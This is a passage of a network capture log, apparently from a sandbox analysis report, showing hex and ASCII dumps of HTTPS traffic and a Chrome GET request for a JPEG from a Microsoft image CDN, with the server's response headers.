58 ad 9b 78 04 96 c5 ba 15 b5 08 ac 59 8b 91 a8 9c b2 ea a0 0e 7c 7e 5e 18 4d 5a 78 fb 0b 4f 43 42 1b f0 c6 68 e2 9d 4b 
b6 97 ee 92 48 51 4a 6a 39 8c ab d3 4e 58 bc 4e cd 43 
Data Ascii: I-LO:bqAEn)S!<=5U3o/G2A9OMXko3ufjZG-G_o% G4zKAOvE^AN>w,(dMyjjj_XxY|~^MZxOCBhKHQJj9NXNC

2022-05-26 11:46:49 UTC 7683 IN Data Raw: 34 ad 28 c2 bd 5a ab 95 68 17 8f 8e 39 76 af 8b bf ec 2e ac 39 24 82 ca d2 ad 19 ed 05 07 41 62 dc 1a 8f a5 
6a 7a 58 d7 4e ac 6a ea db 56 4f de 68 d9 83 b4 cf 2c 89 f4 e6 21 12 c6 e0 20 4c ba 0f a4 81 ea 22 a6 9d 7e ae 38 d7 33 
87 33 f1 7d e6 52 d0 6b 6e 51 14 48 3b c0 27 52 cd 21 e8 d2 10 6a 0b 5a d2 b9 f4 e3 3b 55 c4 ae 3c 97 6c ff 00 c4 4d 99 
bb d7 b9 e2 da 51 8a 32 0d 4b ae a6 99 26 93 e6 05 5a 94 d5 9f 12 d8 d3 07 4a f2 bd 57 77 b4 cf 7b 42 b7 f7 35 96 e0 9a 
d5 08 25 43 37 35 25 ab e8 14 ad 01 af 1e 23 0f 27 4f 7a b8 6f d1 76 94 ec ec 82 2c 6f 14 86 8e 7d 02 94 56 62 b9 aa e7 
5d 7f 9b 4f dd 4f 5e 33 ba 6b 5a cf a7 d3 e9 ec 16 e8 e0 35 be f1 6d 22 f5 45 23 a2 d0 a4 8b 5e ba 9a 9c c5 74 a8 a7 1f 
9b 86 3a 69 ba 96 56 6f f9 7b 3d 3e c2 e9 94 d5 fe a9 32 
Data Ascii: 4(Zh9v.9$AbjzXNjVOh,! L"~833}RknQH;'R!jZ;U<lMQ2K&ZJWw{B5%C75%#'Ozov,o}Vb]OO^3kZ5m"E#^t:i
Vo{=>2

2022-05-26 11:46:49 UTC 7699 IN Data Raw: 6a 11 aa b9 83 95 7c f4 d7 2c 14 9c 8f 6a b4 7e e2 ad a2 32 e4 bb b2 96 21 14 c4 ac 3f a7 2a a6 a6 14 4a 10 
4e 64 57 51 e3 e2 dc b1 4a 97 4e 57 1d 6b 3a 71 23 90 54 d7 b6 22 28 2f 2c 6e 1d 00 8b 5f ea d0 bb 0c a8 fa 73 e2 72 8c 
9c ab f1 c2 55 b2 6e ad 6b 3c 6b c1 3e cf 67 cc 56 86 7d b6 ee d0 5e 89 f6 c4 69 cb aa 2c 8a e6 81 01 24 1a 92 74 90 79 
fe 71 f8 88 c6 d6 c3 ba b1 77 b7 57 11 f3 7a 7f b4 69 06 08 2f 1a 28 82 c6 9f 4f 19 25 22 ee 02 ee ca 29 c0 66 74 8a 69 
5d 5f f5 62 12 4e 75 73 6e 71 c3 f8 89 55 85 5a ca 24 69 2c d1 4e a7 a4 95 d1 d4 29 99 d7 c8 50 8a 78 e3 27 57 c4 70 07 
7a 22 8e 60 9d d4 60 15 bf 48 54 80 eb 52 17 49 05 7a 7d 4d f8 8a ad 31 b6 39 89 8f 6f 73 f4 f6 0d 56 0d 24 69 ae ac a2 
96 5b b6 27 b4 25 11 a7 01 45 d4 17 55 5b 50 56 0a 5b 97 
Data Ascii: j|,j~2!?*JNdWQJNWk:q#T"(/,n_srUnk<k>gV}^i,$tyqwWzi/(O%")fti]_bNusnqUZ$i,N)Px'Wpz"``HTRIz}M19osV$i[
'%EU[PV[

2022-05-26 11:46:49 UTC 7707 IN Data Raw: 86 8b 5c b2 1d 5d 5c 79 f2 c6 aa a9 ea 9e 95 d0 12 80 9e fc 97 11 38 49 9d 18 a0 56 8c 96 d2 c2 b4 2e 78 d0 
13 c1 a9 a7 3e 9c 63 10 f8 73 e5 e9 c8 65 31 6d 57 97 53 c2 d1 4e 86 40 0c 4c c8 43 2b 89 05 3b 6c 7c 45 4d 75 79 d2 
94 c6 ee ea 8a 17 3f 66 d0 7a 03 2d cf 63 76 16 f6 5a 1f 56 b0 c1 99 4b 6b 1d 27 ab a8 24 6a 06 a6 1f ca 29 8a b2 ff 00 
e7 e2 95 c3 97 a4 c9 0a c6 a3 58 47 31 91 50 88 9c ba 9a 96 50 cc 14 93 4e 3a 7a ba bf d3 d3 ce 98 e2 56 6b 47 af dc bd 
34 2d 84 ee 7b 3c 6b 04 76 d6 80 4b 28 8d 9c a4 a0 a6 a6 15 a9 a9 a9 00 36 5f 05 cb c3 07 98 ab ab 7c 5c 5b 6f cb f9 41 
a3 1f 6c b5 8e 16 b9 9a f0 28 0a a4 93 ab d2 c5 7a 94 ea 3e 5d 6e 07 cd 4c 86 36 cb 7d d0 ab f7 71 fa 6d fb 2a 65 12 42 
e2 3d c3 73 b9 56 86 51 6f 0c 2c 04 4c ba 35 a8 50 bd 75 6a 
Data Ascii: \]\y8IV.x>cse1mWSN@LC+;l|EMuy?fz-cvZVKk'$j)XG1PPN:zVkG4-{<kvK(6_|\[oAl(z>]nL6}qm*eB=sVQo,L5Puj

2022-05-26 11:46:49 UTC 7723 IN Data Raw: a9 5a d7 3e 1d 2b e5 8e 7a ee 56 9e 0a 39 7e 02 89 64 2e f6 38 2e ee d2 fd 6e 4b 4e 88 4a 4a 3d 14 0d a5 90 
c6 4a e9 75 e2 8d f3 05 ea 5e b1 8f 52 9f 03 4e 23 f6 7d a3 30 af e3 36 4b 1d 94 6a b7 52 bc 6a f2 3d ba 94 54 d4 cd 50 
cb ea 91 87 83 52 3a e2 62 b2 ed 3a 72 9e df 6f e1 a8 9f 10 db 68 f7 6d bd 12 2d ba da 38 a8 3f 55 5c 1a 68 06 81 8b 8d 
21 59 be 5c fc 71 c7 35 bc bb 3b 5b bd 7d 5e ad 74 29 4a 0f 56 80 eb ba b4 99 da 9a d0 c1 dd f5 30 20 b0 e3 5f 50 f5 79 
e3 28 69 2d c9 71 e3 1f 29 65 d3 5a 3b c7 25 b5 b4 23 5c ad a8 49 25 02 28 f5 6a 4c 89 cf c5 72 d5 ea e7 8e 7a e4 49 ee 
b3 e5 10 b8 fb 7d 38 13 c0 cc dc c6 df 6f 06 ab c3 33 33 90 97 09 6e ec 6a be 9f 06 e0 73 e9 3d 3e 07 1d f8 a5 c6 d8 95 
f0 ee 51 1c fe d1 a4 0f b7 89 2d 56 47 81 44 e4 ca 49 27 
Data Ascii: Z>+zV9~d.8.nKNJJ=Ju^RN#}06KjRj=TPR:b:rohm-8?U\h!Y\q5;[}^t)JV0 _Py(i-q)eZ;%#\I%(jLrzI}8o33njs=>Q-VG
DI'

2022-05-26 11:46:49 UTC 7739 IN Data Raw: 8a 30 02 aa 48 af 56 9f 1c f8 e2 3a 8c aa fe 25 ea e1 a4 71 15 ac 97 02 9b 94 8e db 4f d3 5d f7 6e 25 5a 9e f6 
b0 a8 03 0a 09 06 9a 53 e6 d5 ea f9 4b 61 25 bd 26 e3 bf 6f c5 ef f4 43 94 fb 8c e7 d9 77 59 ed df 41 8e 0d 74 3a b5 bf 6e 
46 62 0f 85 50 65 ab 53 57 3c b1 4b 25 68 d3 72 d7 ab e1 ff 00 b7 aa a2 75 4b 88 f3 fb 2f 70 dc 6e e0 dc 50 fd 29 b7 0c 
24 90 39 20 85 51 a5 5c 83 da d2 cc fa 4b d2 ad 4c f5 6a c7 45 3a ca aa 3a d5 6f 6f 94 78 aa a7 e3 ff 00 c4 ad 12 2b b4 
98 ed 6f de 9e 19 2b fe db c7 2b 28 6f d4 f4 b8 65 27 b9 1f 8e 5a 40 d2 b4 cb 15 5a bb 4c 3a ff 00 2f fd 4c d5 1b 08 bb db 
e7 7d ba ea ff 00 61 85 12 e2 46 11 cf 28 60 04 82 2c d9 a3 2f 46 67 00 68 a7 83 37 d9 78 e8 ac 95 72 3d 29 c2 ac a5 8b 
b4 e6 f6 cf 6d 59 ce 93 2d c4 ad 24 d3 16 68 d9 
Data Ascii: 0HV:%qO]n%ZSKa%&oCwYAt:nFbPeSW<K%hruK/pnP)$9 Q\KLjE::oox+o++(oe'Z@ZL:/L}aF(`,/Fgh7xr=)mY-
$h

2022-05-26 11:46:49 UTC 7747 IN Data Raw: 91 8b 4b 69 ee 25 52 59 50 b9 8d 6a ea 35 16 0d 45 c8 71 65 cf 1b d1 db 1a 8b 59 55 7f 57 3e 50 54 82 c3 6f 
bf de 44 97 22 d5 84 0e da c4 6a 00 23 41 a2 86 7a 86 75 61 9d 79 fc d5 6c 69 6b 62 a3 db 3a fd 5d b3 d8 be 51 71 08 
3b df 71 9d 1e 51 21 78 00 88 a0 d4 4d 2a 64 1e 2c 4b e5 fe 9f 2c 67 e4 f3 88 f1 78 a7 fd 3f e9 fb c5 10 cb 9e e2 17 31 b7 
65 47 47 6e 65 69 08 91 4b 90 a8 69 42 cb 5a 0c d9 f2 f5 65 8c f6 34 9e bc e6 ba 78 7c 3f 17 af fa 4c ec 09 7f 16 db 1c ea 
6c 6e d9 ae 66 b4 01 22 39 a8 6f 4a b3 33 85 a2 8e 65 7e 6e ac f1 d8 ab 6d aa 52 6b 77 89 fc 31 cd d7 bf d1 19 44 31 ae 
b6 ab cb 37 ec c1 2c 72 de ca 10 cc 80 90 6a 69 9c 6c 74 0d 40 6a f5 f4 f5 62 95 a8 d7 76 bb 63 55 fc df f8 9b 4a 34 f6 c7 
b8 bd 66 d9 2e 3b 86 32 a1 19 49 d4 a1 4b 6a 52 78 
Data Ascii: Ki%RYPj5EqeYUW>PToD"j#Azuaylikb:]Qq;qQ!xM*d,K,gx?1eGGneiKiBZe4x|?Llnf"9oJ3e~nmRkw1D17,rj
ilt@jbvcUJ4f.;2IKjRx

2022-05-26 11:46:49 UTC 7763 IN Data Raw: 6b 9d 67 5f a6 df 4e ee 62 5a d4 d8 f6 4e c9 b3 ed 36 f2 6f 93 17 2e a0 b4 62 a5 34 92 c6 3a 39 af 51 6c c1 19 
f4 e3 93 af cd 7c b1 89 7b 74 dd cb 77 f2 98 f0 37 db 71 db 23 61 1d f4 48 96 d1 c5 44 b7 d1 a5 1f 32 73 00 eb 0c 29 fa 
7a b3 6c 79 6b 1e 48 9a b9 b5 9f c7 33 6a fe 1f a8 d3 90 7e d1 74 9b 5d c1 82 de 3b 89 2b 1b 90 58 54 c2 e5 68 a6 50 4e 
96 4f 9d 17 a5 a3 f4 f3 c6 79 2a ae a6 f1 ec d3 7f e9 d3 8f d5 f5 10 d1 45 d7 b7 fd c9 b8 c6 54 b2 c5 d8 04 90 c4 28 7c 86 
48 18 d5 01 af 50 7f 0f cc 70 e9 9f 0d 35 86 e7 fd 3f ab ea f6 0d c2 47 21 65 ef 1d eb d9 76 a2 0b ab 44 bc 30 07 4d 0b 50 
44 84 d4 f7 1a 9a 5b 4e a3 d0 3e 14 a6 3d 7c 9d 0e 2e ae d3 5b 3c 7b a1 cb fa 7f 2a e2 a6 3e 22 6a 6f ec 50 bf b8 6d a0 
ba b0 63 13 2b c6 0a 3b 50 ad 05 41 7c b4 e9 35 
Data Ascii: kg_NbZN6o.b4:9Ql|{tw7q#aHD2s)zlykH3j~t];+XThPNOy*ET(|HPp5?G!evD0MPD[N>=|.[<{*>"joPmc+;PA|5

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 7779 IN Data Raw: c6 d6 d7 b5 88 13 70 37 37 ff 00 4c 67 82 24 b7 75 66 b6 7a f5 11 f3 82 de 9e 93 9e 96 01 bf 03 35 71 75 5e 
5d 3e ff 00 4f 4e f3 22 cd af 6d bb b7 be 96 6d cd cf 6c 55 59 80 24 b2 80 00 a3 66 01 3c 74 9c eb 8c 72 e6 a5 a1 2d 7d 
be 9e f2 62 4c 85 be 80 19 f6 c8 0e 85 56 45 aa 9d 2a 51 5f 85 0e 5a d5 73 3d 59 e3 a9 d1 e9 77 ac cf af 80 9d 60 2e d3 
76 b9 b8 dc 8e 88 e5 4b 40 8e a5 d0 82 19 06 40 d5 6a 84 ab 06 e9 51 d2 b8 c7 26 14 a9 c5 3b 69 a7 67 e3 1b 63 5e 62 
d6 43 61 5b 99 7b 90 a9 0d 0c 4a 64 45 0a 6b a3 91 d3 40 2a ad ea ae 39 f6 a7 aa e3 f3 7a 7a 86 8a ed 26 88 5b 2c d1 
3c 9a 19 43 b1 a9 d6 ee 1c d6 95 1e 3d 24 2f ca 39 e1 dd 3d d0 d2 95 fd 29 47 a7 10 57 3a 03 75 61 71 07 7e 54 0f dd 04 
46 ba 98 9c 87 50 65 03 a0 8f fd 31 c9 92 b7 99 4e 0d 77 01 21 
Data Ascii: p77Lg$ufz5qu^]>ON"mmlUY$f<tr-}bLVE*Q_Zs=Yw`.vK@@jQ&;igc^bCa[{JdEk@*9zz&[,<C=$/9=)GW:uaq~
TFPe1Nw!

2022-05-26 11:46:49 UTC 7786 IN Data Raw: 1a 8e 1c 39 fb df 38 0a d1 12 9b 73 b2 58 7e a2 ee 4e fc 9a c2 b8 0d 52 18 52 ba 98 96 25 a9 aa ad cb 1b d7 
a7 ec 51 f6 03 c7 2c b5 6d b6 db bb 50 f6 f7 4a f1 26 be a4 6a a2 eb 6a 96 4c a8 c2 a2 94 5d 5a be dc 64 fc c5 6d ad 70 
8e 20 aa 91 63 6d 16 b1 de 3d e5 bc 8d 1a c6 9a 23 47 14 d4 c5 d4 33 3b 85 a0 ea 01 42 fc b8 cf cc 76 a3 ad a2 66 5c 
76 47 ca 43 53 a0 2e e9 b2 4d 65 70 d6 f3 4f 48 ab 1c 8c ce d4 d2 58 97 65 65 a7 cd 55 5a b6 43 8e 0c 19 ab 91 26 97 6d 
57 b3 43 26 b5 23 b7 5c ec e6 2f ab 85 56 4b b5 41 50 81 53 48 e0 c5 4b 11 9d 3d 3a 7f 29 18 e9 cb bd 34 ac dc 7a 71 
3a 1d 5a e2 09 1a f7 26 36 ab a6 3b c4 ab a0 2f ad 7a 54 b3 48 d4 ae 65 97 d3 c7 a5 b1 54 ab b3 56 5a d5 f7 43 fd 3e 9d 
c7 3c 12 b8 1a a2 07 b8 ee 63 40 ce b5 20 50 0a d5 72 f5 3a 93 
Data Ascii: 98sX~NRR%Q,mPJ&jjL]Zdmp cm=#G3;Bvf\vGCS.MepOHXeeUZC&mWC&#\/VKAPSHK=:)4zq:Z&6;/
zTHeTVZC><c@ Pr:

2022-05-26 11:46:49 UTC 7802 IN Data Raw: 76 df 13 6e 26 38 1e ea 37 52 bd c5 54 52 19 55 86 a0 cc 47 a1 b8 6b 2d cc 70 c6 19 ae eb ae d7 a6 9d cf b7 
d6 73 c6 a0 d7 17 64 4b 1c cc ef f4 dd e5 c9 49 2a 45 28 48 5d 2e d9 38 39 ae 58 e9 c4 d7 07 f1 47 37 f6 1d 0a ef 49 36 
b7 0b b8 5a f6 3b 35 75 96 f5 15 8a a0 4a 46 ba c5 34 d4 8d 0d a5 4e a6 2d cf e3 8d ad 96 52 c8 fe 15 ec fb 3e 21 db 23 
6c af 42 24 90 fd 4b 46 fa b4 81 22 31 67 0e a0 d6 8d c8 25 73 65 a6 93 d3 8d f2 75 17 ad 77 47 1e 1e af da 5a c9 24 b7 
64 93 71 81 8d 8b 86 8c e9 1a 46 ad 69 a5 c6 a6 2d e0 06 65 be cc 72 3b 6f b2 6e 5f c5 a1 9d 9a 6a 19 85 15 de cf 6d 
33 42 d2 ea 99 11 26 99 b4 88 de 5e 9c 95 4b 03 d4 57 4a fe 01 5e 38 e9 cd 4b 5d 26 b4 5f 0a ec 5e e3 9d 5a 34 7c b9 
03 d9 ef 11 0b 61 7f 73 0b 41 6e a1 81 56 61 a9 da 3e 11 d6 b5 
Data Ascii: vn&87RTRUGk-psdKI*E(H].89XG7I6Z;5uJF4N-R>!#lB$KF"1g%seuwGZ$dqFi-er;on_jm3B&^KWJ^8K]&_^Z4
|asAnVa>

2022-05-26 11:46:49 UTC 7818 IN Data Raw: 42 45 12 02 23 59 38 1a 00 da b3 e7 52 df cd 8c 33 6f ca d3 6e 39 da 7e 2d a1 21 1b 75 b5 ec 04 08 23 ed 45 
e9 22 46 05 e8 3a 4d 05 00 ea a2 f9 65 9e 39 f2 da b6 e2 e5 f7 2d 3b 7e c1 c9 2b cd b9 ae d6 1b b2 02 bf 78 f5 48 0e 96 
40 a6 a7 52 d4 11 97 df 4c 55 6c e8 a3 93 af 2e d9 ef 13 af 60 0e da f6 52 b4 d3 4f 0c d0 8b 56 66 2b 50 89 34 4f d4 cc 
41 01 50 bf e5 21 f9 e3 a3 26 ea 6d 49 ab 6e 8e dd d4 b2 e5 f5 38 1d 6e d1 a3 2d f2 cc a1 b6 d1 04 13 b4 67 48 48 d0 2a 
9a 52 3a 12 74 d5 7c 57 55 7e 38 cf 2a dc e6 eb 4e 70 ed fc da 77 84 98 d7 bf 53 1d fd 89 dc ee 1e 79 6e 66 44 ed ab 09 
10 05 6d 49 d2 48 6d 22 4f 50 f5 37 4a 01 8e ec 57 f3 6a eb 5f 0d 68 b8 b9 4f c5 a3 ff 00 4f ed 2a 77 33 6f 71 b1 bf ee 94 
db 16 58 96 20 c1 e4 97 4a ab 37 13 a8 57 c7 96 9e a5 
Data Ascii: BE#Y8R3on9~-!u#E"F:Me9-;~+xH@RLUl.`ROVf+P4OAP!&mIn8n-gHH*R:t|WU~8*NpwSynfDmIHm
"OP7JWj_hOO*w3oqX J7W

2022-05-26 11:46:49 UTC 7826 IN Data Raw: 39 a3 66 c2 83 31 a8 0e a0 16 9c 68 31 cb 7c aa de 17 e2 9f 77 b8 cb 69 a9 25 db 5d ed 6f ad 74 ac c3 43 23 
35 18 83 91 70 4f 49 af e1 c7 1a a6 dc 8a 39 6b 3c bf 48 56 57 13 3a 5b 08 45 c4 4c ce 19 ad d5 d2 38 de 87 50 20 64 88 
07 5b a8 eb 66 6f 51 e9 f9 71 e8 63 c9 e1 7a 71 87 cf fd dc bf 49 aa e0 4e 0b 1d c6 da ef b9 0c a9 f4 ca d4 88 c5 45 d5 1b 
0d 41 28 f9 ea 62 7a c6 5c 31 8e 4b e3 6a 1a d7 e6 99 f8 be ad 3b 09 68 1e 4b 6b eb ab d1 1b 2b 47 db 8d 35 c2 d2 51 
87 71 4b 77 28 0e 67 f1 83 ab 88 c6 d5 75 54 6f 47 ab 8b 47 66 9b 45 6e 06 b6 d9 79 7b 73 65 f5 66 40 94 ac 6a 95 35 2a 
c6 95 0a c3 36 e6 0e b5 d3 cf 1c d7 6b 1d a1 7a 7b 48 48 aa c5 77 5b c4 96 08 54 cb 0c c5 84 21 e8 5b b6 a6 85 9e 94 
e8 66 d5 ff 00 d3 5c 45 fc ba c5 9e 8e b0 ed 1f 57 e5 ef e1 
Data Ascii: 9f1h1|wi%]otC#5pOI9k<HVW:[EL8P d[foQqczqINEA(bz\1Kj;hKk+G5QqKw(guToGGfEny{sef@j5*6kz{HHw[T!
[f\EW

2022-05-26 11:46:49 UTC 7842 IN Data Raw: 43 c7 8e 25 37 59 5a 5b 84 f1 d3 d7 de 6b 56 66 c5 6d 35 95 84 76 b1 5f ac f2 b4 92 16 a9 91 e4 d4 a2 aa 89 
1e a5 0b fa 7e a9 1c d1 7f 97 1b 6e a6 4b bb 5a ae aa 16 b0 a3 f9 9f eb e4 8d 2c d3 2f da ae 11 92 51 2a 8b 54 d2 b1 a9 
78 c1 aa 93 d6 dc 68 ad 5a 75 37 4e 34 d9 56 e3 77 a7 d2 4b 66 8d ca 5a c7 59 24 47 92 09 18 68 91 81 e9 15 3a db ae 
80 96 56 3e 9a 0d 47 11 7c 89 64 4e 96 9d bc be ef da 64 9b 39 65 86 5f ea 89 b6 43 0a 44 96 d5 16 f2 23 99 6a 8b 42 1b 
40 24 57 d2 7e fd 4d 8e 9c b6 5b 37 4c ee f8 d7 0f 13 ef 21 a6 cc 2f 72 7f f9 f6 39 63 b7 b3 7b c6 52 1f bf a5 a8 92 06 d0 
19 b4 54 e5 53 d1 ea d5 4f 95 5b 1d 5d 2f ff 00 16 9b b6 cf c9 3c 6b 1b a1 6e ff 00 77 08 ef 65 ba b6 2d db da 77 9b 54 36 
ca 8f 1c 17 09 11 06 04 62 74 a0 00 ba 03 e3 d4 0d 75 
Data Ascii: C%7YZ[kVfm5v_~nKZ,/Q*TxhZu7N4VwKfZY$Gh:V>G|dNd9e_CD#jB@$W~M[7L!/r9c{RTSO[]/<knwe-wT6btu

2022-05-26 11:46:49 UTC 7858 IN Data Raw: 97 57 04 d0 b0 2a d0 a3 7a 4b 67 99 4f 4d 38 72 c7 2a ad 6d a5 78 2d 3b 9d bb 57 ac 4d a3 b0 da 7f b6 e9 b5 
db 9b cb f3 14 76 75 2e 46 bc 8b 53 4e 91 99 a0 fc a3 d5 8e 8e b3 1f 51 8a aa f5 53 1c 5e 9d bf ea 05 5d be a3 c9 b7 85 
dc b7 1b ff 00 ac b2 b5 ed ed d0 c8 2b 1c 8f a1 9c b6 79 05 a2 54 d3 a1 d4 53 e5 c7 55 2f 8e b5 8b 3f 1d a7 54 b7 6d fc 7f 
55 4e 1c cf 59 00 fe e5 7b f2 08 12 07 d9 2f de da 37 8d c4 f6 c3 52 c8 8c 57 47 54 88 2a c2 87 d1 ac 83 f0 c7 7f f8 9e 9f 
2e ab 22 98 f8 6e 9f 86 d5 f5 7e 30 4e fe c3 c1 bd dd 0d 9e dd 75 15 de d6 cf f4 53 a0 ed 09 48 ee 55 72 76 65 1e 95 76 
ea 4a fc bf 7e 3e eb a2 b5 b2 55 d7 24 6f ab f1 6d f8 75 f8 52 7c da f9 bb cd e9 4d ca 0f 75 fe c7 ee 8f 1e df 14 b7 71 00 
96 81 de 38 60 04 1b d7 6c 95 66 d3 5a b4 44 87 
Data Ascii: W*zKgOM8r*mx-;WMvu.FSNQS^]+yTSU/?TmUNY{/7RWGT*."n~0NuSHUrvevJ~>U$omuR|Muq8`lfZD

2022-05-26 11:46:49 UTC 7866 IN Data Raw: 4a 10 ac 46 71 a9 60 41 0b 93 33 3d 7a cf 86 3a f3 ad b4 51 1b db ed d5 7d 4f ee 5b 79 12 9e d0 b6 dc 21 86 
e4 dc db e8 92 df 5f 68 28 ea d7 45 a1 d2 78 89 47 1a 1f 52 e3 15 8d ba ed b4 ab 46 ee cd ba ff 00 b3 ee 09 92 fd e3 75 
b7 9a f2 39 56 e6 32 9a e3 8f b4 aa 52 4d 2a 73 d2 bd 5f 37 cf 55 6f e5 c4 e0 c7 6a d5 cd 5f 3b 4c cd 7d af 4f 4e d2 ac d2 
60 c2 fd b7 fd da 4b e9 8b 7d 1c 63 b6 2d df 50 23 48 f9 74 67 5f 9e be 07 1b ec 58 71 aa a5 af 19 f5 fa c8 b2 9d 4b 98 c9 
bb 2e dc ac 16 dc 46 1d da dc 53 bc 05 0d 47 76 ba 82 53 f1 2d 1f d2 4e ac 0e cb 1d 6f 1e 2d 7e 3e 5e ee 7e ff 00 09 a5 
78 15 6e 9b 95 d6 c9 7c 2e e1 73 2c 2e a1 99 1c b1 1d b6 3a 41 3a b5 1a a9 f5 f6 a8 69 c7 0a 98 96 6a ed b7 1e 4d 7d 
5e 9f 0e f2 92 27 37 b8 76 8d de 19 e5 b0 b5 4a 42 11 
Data Ascii: JFq`A3=z:Q}O[y!_h(ExGRFu9V2RM*s_7Uoj_;L}ON`K}c-P#Htg_XqK.FSGvS-No-~>^~xn|.s,.:A:ijM}^'7vJB

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 192.168.2.4 49876 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 2304 OUT GET /cms/api/am/imageFileData/RE4CSNW?ver=60f6 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-26 11:46:49 UTC 2610 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4CSNW?ver=60f6
Last-Modified: Mon, 16 May 2022 07:03:59 GMT
X-Source-Length: 843819
X-Datacenter: northeu
X-ActivityId: dca7e90d-72de-4126-8d6e-6aa3488ed58c
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 843819
Cache-Control: public, max-age=328631
Expires: Mon, 30 May 2022 07:04:00 GMT
Date: Thu, 26 May 2022 11:46:49 GMT
Connection: close

2022-05-26 11:46:49 UTC 2610 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-05-26 11:46:49 UTC 2650 IN Data Raw: 69 17 f8 6b 73 6a d4 6d 6f 1b b7 dd a3 da 2e a2 f6 6f a3 32 d6 6d dc 53 95 cb 74 ad 0f b1 c5 d7 6d 0d 6c 94 b9 
e2 35 19 77 28 b3 ed 5a 72 48 5b ad 5f 58 c0 5c 6d a5 da 89 fc 2b 53 cc bb 0f 95 95 91 c5 3f e5 a5 92 68 d1 77 56 5d d6 
aa 11 5b 14 d2 b8 9e 82 ea 97 82 18 d9 3f 89 ab 9a 9a e3 cc 6a 7d f5 e3 cd 25 66 bb 14 e7 f8 ab a6 31 b2 32 6c 91 e4 0a 
dc b5 57 7b 9f 4f bb 50 c9 26 ea 87 7e ea db 95 19 dc b0 b3 54 c8 f5 4d 6a 44 6a 4c 2e 68 2b ef 5e 5a 9c 8c 16 a9 f9 81 
78 a9 11 ea 2c 59 7d 1e a6 57 db 54 55 ea 55 6d d4 80 b6 b3 11 56 61 bc 65 e9 59 ea 87 6d 48 99 a9 b1 46 9a 5d 16 e3 
f8 6a e2 5c 6e 5c 56 54 68 59 ab 52 1b 73 59 ca dd 0a 3c 63 61 5a 36 b3 51 e7 6e a5 dc 2b ea 0f 0c 61 53 da 97 e7 5a 76 
e0 68 dd ba 95 c0 4f 9a 9a f9 ed 53 ab a5 0c e2 a7 98 76 
Data Ascii: iksjmo.o2mStml5w(ZrH[_X\m+S?hwV][?j}%f12lW{OP&~TMjDjL.h+^Zx,Y}WTUUmVaeYmHF]j\n\VThYRsY<c
aZ6Qn+aSZvhOSv

2022-05-26 11:46:49 UTC 2666 IN Data Raw: a6 aa 8a 72 fc b4 8a 24 59 28 66 a6 f3 49 b8 d0 17 0d e6 9e 8e 69 bc d1 f2 d0 08 97 9a 6b 35 33 78 a3 78 a0 
a0 f3 1b 77 fb 34 34 db 7a 53 59 c5 37 78 5a 42 ba 24 8d bd 6a 29 24 3b b1 b6 9f b8 37 f1 53 5b 14 c1 90 a9 dc df 76 94 
ab b2 f0 9f 2d 4b be 9f b8 af 4a 77 15 8a 7f 67 2b fc 34 9e 63 2f 15 71 7d 69 ac 88 dd 7e f5 20 b1 1a 38 55 e6 a3 d9 bb ee 
54 ff 00 22 52 ac 83 fb ab 48 64 3b 64 dd 4d 9a dd 1b 92 d5 69 a4 14 d5 74 6e 36 d2 bb 19 92 f1 8d dc 53 3c bd dc 06 ad 
bf b3 45 d7 6d 37 ec f1 37 3b 6a b9 c9 e5 66 32 db c8 df c5 43 5b c8 ab c7 cd 5b 8d 0c 6b d5 56 a0 92 18 db a7 cb 47 38 
72 b3 1d 9a 56 e3 6d 44 d1 c9 ff 00 3c ab 76 36 8d 38 f9 6a 66 f2 9b 8f 97 75 3e 71 72 9c e6 c2 bf c3 4b b4 f6 5a dc 6b 50 
cd c3 7c b5 32 5b 45 fd da 39 d0 72 b3 00 24 8d fc 
Data Ascii: r$Y(fIik53xxw44zSY7xZB$j)$;7S[v-KJwg+4c/q}i~ 8UT"RHd;dMitn6S<Em77;jf2C[[kVG8rVmD<v68jfu>
qrKZkP|2[E9r$

2022-05-26 11:46:49 UTC 2717 IN Data Raw: cb 6d 6d 2a c6 bb 76 f9 68 bf 36 7f bc 07 ea 6b 99 5b 72 ad b1 17 67 fc 04 37 f2 a9 21 78 d2 3c 3c 4d 2b 32 8f 
e1 0a cb fc e9 38 21 a7 2b 9d 14 3e 20 95 95 a4 92 0b 65 6f e1 58 ff 00 fd 75 6a 1f 15 4e d6 ed 10 f9 57 f8 b6 b5 72 65 e3 
8f 87 66 f9 97 e5 55 f9 7f 3a b1 0a 49 e5 fc 8c b2 ff 00 79 59 b6 d4 fb 34 d0 d3 95 f7 3a 38 fc 61 71 1b 31 91 57 e6 6f 99 
